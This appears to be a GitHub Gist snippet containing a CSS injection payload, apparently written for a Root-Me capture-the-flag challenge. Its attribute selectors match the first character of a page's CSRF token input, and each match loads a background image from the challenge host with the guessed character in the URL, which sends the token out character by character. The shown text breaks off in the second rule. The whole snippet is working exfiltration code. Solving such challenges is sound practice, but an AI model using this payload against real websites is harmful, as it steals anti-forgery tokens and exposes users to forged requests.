Skip to content

Instantly share code, notes, and snippets.

/*
* CSS Payload to find character #1
* Testing prefix: ''
*/
input[name="csrf"][value^="a"] {
background-image: url("http://challenge01.root-me.org:58005/?c1=a");
}
input[name="csrf"][value^="b"] {
background-image: url("http://challenge01.root-me.org:58005/?c1=b");